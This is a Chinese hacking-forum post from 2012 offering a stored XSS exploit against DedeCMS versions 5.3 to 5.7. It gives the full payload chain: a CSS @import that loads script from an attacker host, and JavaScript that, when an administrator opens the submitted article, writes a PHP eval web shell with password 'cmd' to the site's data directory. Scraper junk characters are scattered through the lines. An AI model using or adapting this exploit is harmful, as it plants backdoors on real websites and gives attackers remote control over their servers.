找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1852|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
7 |( K, B5 z7 ^% u, O9 r为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
* Q1 i9 u, U7 ?3 K目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。$ a9 F; I) N* c
下面说说利用方法。
% X' U2 Q! t$ Q条件有2个:
" W% Z, {# b" p- z& n1.开启注册6 L" z6 n& e/ ]- B0 c6 Y
2.开启投稿$ t3 m+ p# s. c! R$ z  |! M7 v2 T
注册会员----发表文章. @# E6 u# I% K) ~
内容填写:
$ T4 R1 K& u7 s$ L复制代码5 q5 s+ a' ?$ q
<style>@im\port'\http://xxx.com/xss.css';</style>
0 g+ N% v. i# L7 _( d" Y$ m" `新建XSS.Css' ^" O* K& D! P$ g8 j1 E; V
复制代码% f  w- m' S( X$ D4 O
.body{
& u! w6 J8 g; f9 A- nbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }: y7 c- h, T2 W6 I9 @5 O4 y+ b5 v
新建xss.js 内容为7 v4 S# G5 P2 d+ q: k" O. }
复制代码
2 Q% j/ a; \' V  G5 n/ O1.var request = false;
' W9 a1 F3 p, n2.if(window.XMLHttpRequest) {
$ p3 |6 C* B1 p2 H% Q3 }3.request = new XMLHttpRequest();  G. e  L( b! M% H0 c
4.if(request.overrideMimeType) {# v3 e7 H  ~* E  m# R: [3 v0 Y6 ~
5.request.overrideMimeType('text/xml');
; j' T! D8 E1 }5 M6.}
1 G) X) {2 q  s- u2 |) L7.} else if(window.ActiveXObject) {- x8 D4 q) _; H' _6 o/ l
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
4 D" ?, {! z6 ]* i5 V) d8 I9.for(var i=0; i<versions.length; i++) {+ \& n5 v/ j0 I! b
10.try {
' F1 X+ |8 ^  \11.request = new ActiveXObject(versions);7 _% x6 G6 I; ]' J0 j6 i3 D. U
12.} catch(e) {}( A# [% {( C$ S7 q; n0 h# v
13.}* d+ u+ |3 [% r) b# A; ^+ o1 C
14.}( p  |/ w+ ?# G7 d1 X
15.xmlhttp=request;
6 v9 y& }+ Z3 U. K& f16.function getFolder( url ){( m1 Q3 v9 P8 a( _% L5 y, g
17. obj = url.split('/')8 Y$ K  G1 ~# C- f3 h
18. return obj[obj.length-2]9 x0 b+ x1 k) d8 P
19.}0 |1 V5 L$ e; H& q
20.oUrl = top.location.href;
* B- Z) \, G$ a6 M$ z+ ]- D8 b- N21.u = getFolder(oUrl);
$ U8 Y& T' d) Y! \22.add_admin();
& Y  \  e5 ]! D; U( Z23.function add_admin(){( \3 u7 g- _  ]' b1 {: X
24.var url= "/"+u+"/sys_sql_query.php";
) e& f' R7 V. w7 k3 u8 o25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";& ~' c. E: A1 L3 j; s
26.xmlhttp.open("POST", url, true);
3 M9 |, z3 X+ y. O5 K27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
% ^7 Q- W( O+ h' u" e9 E+ K28.xmlhttp.setRequestHeader("Content-length", params.length);
# p5 _2 F0 p, I( D29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");6 g" S$ D! b: r' ~$ H  t
30.xmlhttp.send(params);3 h& o- {5 g' U& @2 J" `
31.}
- G; Z) R" l5 `0 R3 Q  i当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表